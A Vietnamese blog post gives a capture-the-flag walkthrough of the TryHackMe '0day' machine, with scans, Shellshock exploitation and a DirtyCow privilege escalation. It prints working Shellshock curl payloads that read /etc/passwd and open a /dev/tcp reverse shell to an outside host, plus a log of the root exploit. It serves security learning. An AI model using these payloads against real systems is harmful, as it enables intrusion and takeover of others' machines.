- vừa được xem lúc

Hướng dẫn khai thác lỗ hổng Ubuntu 0day THM

0 0 4

Người đăng: Debugs

Theo Viblo Asia

THM 0day

Khai thác lỗ hổng Ubuntu

Giới thiệu về các chủ đề:

- Liệt kê Mạng (Network Enumeration)

Liệt kê Mạng là quá trình khám phá các thiết bị mạng, máy chủ và các dịch vụ đang chạy trên một mạng. Quá trình này bao gồm việc thu thập thông tin như IP Addresses, Hostnames, và dịch vụ mạng (ví dụ: HTTP, FTP, SSH) cũng như các cổng mở. Các công cụ thường được sử dụng cho việc này bao gồm Nmap, Netcat, và các công cụ tự động hóa khác.

- Liệt kê Web (Web Enumeration)

Liệt kê Web là quá trình thu thập thông tin về một ứng dụng web và máy chủ web. Điều này bao gồm việc xác định các trang web, ứng dụng con, các điểm cuối API, và các thông tin cấu hình máy chủ web. Công cụ như Nikto, DirBuster hoặc Burp Suite thường được sử dụng để thực hiện quá trình liệt kê web.

- CVE-2014-6271 - Shellshock

CVE-2014-6271, thường được gọi là Shellshock, là một lỗ hổng bảo mật nghiêm trọng trong GNU Bash, một trình thông dịch dòng lệnh phổ biến trên các hệ thống Unix-like. Lỗ hổng cho phép kẻ tấn công thực thi mã tùy ý trên máy chủ qua một số cách thức, bao gồm cả các biến môi trường và các script web. Lỗ hổng này đã gây ra một sự cảnh giác lớn trong cộng đồng bảo mật do phạm vi ảnh hưởng rộng lớn của nó.

- DirtyCow

DirtyCow (CVE-2016-5195) là một lỗ hổng bảo mật trong nhân Linux được phát hiện vào năm 2016. Lỗ hổng này cho phép một quy trình không đủ quyền truy cập có thể ghi đè nội dung của bất kỳ file nào trong hệ thống, kể cả những file chỉ có quyền ghi bởi root. Tên "DirtyCow" xuất phát từ cách thức lỗ hổng hoạt động, liên quan đến "copy-on-write" (COW) và việc xử lý trang bị bẩn ("dirty pages") trong nhân. Lỗ hổng này đã được sử dụng rộng rãi trong các cuộc tấn công tăng cấp đặc quyền trên các hệ thống Linux.

Flags

Xâm nhập trang web thôi nào. Đây là bản ghi terminal của mình.

Quét mạng và phát hiện các dịch vụ đang chạy, bao gồm SSH và HTTP trên Apache.

bibo318@parrot:~/CTFs/tryhackme/0day$ sudo nmap -A -sS -sC -sV -O 10.10.97.135
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-01 10:35 CET
Nmap scan report for 10.10.97.135
Host is up (0.033s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 57:20:82:3c:62:aa:8f:42:23:c0:b8:93:99:6f:49:9c (DSA)
| 2048 4c:40:db:32:64:0d:11:0c:ef:4f:b8:5b:73:9b:c7:6b (RSA)
| 256 f7:6f:78:d5:83:52:a6:4d:da:21:3c:55:47:b7:2d:6d (ECDSA)
|_ 256 a5:b4:f0:84:b6:a7:8d:eb:0a:9d:3e:74:37:33:65:16 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0day
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/25%OT=22%CT=1%CU=30997%PV=Y%DS=2%DC=T%G=Y%TM=5F9547
OS:08%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=105%TI=Z%CI=I%II=I%TS=8)OP
OS:S(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST
OS:11NW7%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)EC
OS:N(R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S) Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 587/tcp)
HOP RTT ADDRESS
1 32.03 ms 10.10.0.1
2 32.42 ms 10.10.97.135 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.27 seconds
```markdown > Sử dụng Nikto để quét web và phát hiện các điểm yếu tiềm năng. ```plaintext
bibo318@parrot:~/CTFs/tryhackme/0day$ nikto --url 10.10.97.135
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.97.135
+ Target Hostname: 10.10.97.135
+ Target Port: 80
+ Start Time: 2021-05-01 10:38:36 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Server may leak inodes via ETags, header found with file /, inode: bd1, size: 5ae57bb9a1192, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ Uncommon header '93e4r0-cve-2014-6278' found, with contents: true
+ OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /backup/: This might be interesting...
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3092: /cgi-bin/test.cgi: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ /admin/index.html: Admin login page/section found.
+ 8699 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2021-05-01 10:44:25 (GMT1) (349 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).

http://10.10.97.135/cgi-bin/test.cgi

Điều này chỉ ra rằng trang web dễ bị tấn công bởi lỗ hổng shellshock. Sử dụng lệnh sau để kiểm tra lỗ hổng:

curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" http://10.10.97.135/cgi-bin/test.cgi
bibo318@parrot:~/CTFs/tryhackme/0day$ curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" http://10.10.97.135/cgi-bin/test.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
ryan:x:1000:1000:Ubuntu 14.04.1,,,:/home/ryan:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin

Kết quả cho thấy có thể đọc được file /etc/passwd, cho phép lấy thông tin về người dùng.

Tiếp theo, chạy lệnh này để kiểm tra quyền của người dùng hiện tại:

bibo318@parrot:~/CTFs/tryhackme/0day$ curl -A "() { :;}; echo Content-Type: text/html; echo; /usr/bin/whoami;" http://10.10.97.135/cgi-bin/test.cgi
www-data

Sử dụng reverse shell để kết nối trở lại và có quyền truy cập hơn:

bibo318@parrot:~/CTFs/tryhackme/0day$ curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.8.106.222/9001 0>&1';" http://10.10.97.135/cgi-bin/test.cgi
www-data@ubuntu:/usr/lib/cgi-bin$ uname -r
3.13.0-32-generic
www-data@ubuntu:/usr/lib/cgi-bin$ ls
test.cgi
www-data@ubuntu:/usr/lib/cgi-bin$ cd ~
www-data@ubuntu:/var/www$ ls
html
www-data@ubuntu:/var/www$ ls /home
ryan
www-data@ubuntu:/var/www$ ls /home/ryan/
user.txt
www-data@ubuntu:/var/www$ cat /home/ryan/user.txt
THM{V0N318*****Sh3llSh0ck_r0ckz}
www-data@ubuntu:/var/www$

Sau khi kết nối, sử dụng DirtyCow để nâng cấp quyền lên root

www-data@ubuntu:/tmp$ ls
cow socat
www-data@ubuntu:/tmp$ chmod +x cow
www-data@ubuntu:/tmp$ ./cow
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 47032
Racing, this may take a while..
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
thread stopped
root@ubuntu:/tmp# cat /root/root.txt
THM{V0N318*****g00d_j0b_0day_is_Pleased}

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

Thu hoạch kết quả:

1. user.txt THM{V0N318*****Sh3llSh0ck_r0ckz12**123:))} 2. root.txt THM{V0N318*****g00d_j0b_0day_is_Pleased12**123:))}```

Bình luận

Bài viết tương tự

- vừa được xem lúc

Code sạch, Code dễ phát triển,... Lập trình viên đã biết về Code an toàn chưa??? (Phần 2)

. Như đã hứa ở cuối phần 1 thì trong phần 2 này mình sẽ nói về các lỗ hổng: PHP Type Juggling, Hard Coded, Xử lý dữ liệu quan trọng tại Client side, Sử dụng bộ sinh số ngẫu nhiên không an toàn,... Giờ thì tiếp tục với Secure Coding thôi . 3. PHP Type Junggling. Lỗ hổng typle junggling xảy ra do PHP

0 0 39

- vừa được xem lúc

Code sạch, Code dễ phát triển,... Lập trình viên đã biết về Code an toàn chưa??? (Phần 1)

. Văn vẻ mở đầu. Chắc hẳn các bạn sinh viên khi học các môn lập trình trên trường đều ít nhiều được nghe đến khái niệm Code sạch - Clean code: là cách đặt tên biến, tên hàm; cách code sao cho dễ đọc, đễ hiểu.

0 0 31

- vừa được xem lúc

[Write-up] Intigriti's December XSS Challenge 2020

Giới thiệu. Gần đây mình có làm thử một bài CTF về XSS của Intigriti (platform bug bounty của châu Âu) và nhờ có sự trợ giúp của những người bạn cực kỳ bá đạo, cuối cùng mình cũng hoàn thành được challenge.

0 0 35

- vừa được xem lúc

Java deserialization - Write up MatesCTF 2018 WutFaces

Mở đầu. Bài ctf này là 1 bài rất hay về lỗ hổng java deserialization mà các bạn muốn tìm hiểu về lỗ hổng này nên làm.

0 0 148

- vừa được xem lúc

Code sạch, Code dễ phát triển,... Lập trình viên đã biết về Code an toàn chưa??? (Phần 3)

Chắc hẳn sau phần 1 và phần 2 thì mọi người đã hiểu được mức độ quan trọng của việc đảm bảo an toàn cho sản phẩm ngay từ khi thiết kế và lập trình rồi. Ở phần 3 này, chúng ta sẽ tìm hiểu về 1 lỗ hổng

0 0 38

- vừa được xem lúc

Lần này vẫn có source code, nhưng hack thì dễ hơn

Bài trước (Đây là bài trước: https://viblo.asia/p/khi-co-source-code-roi-thi-hack-co-de-khong-maGK7G8AKj2), mình có đưa một câu hỏi là Khi có source code rồi thì hack có dễ không?.

0 0 46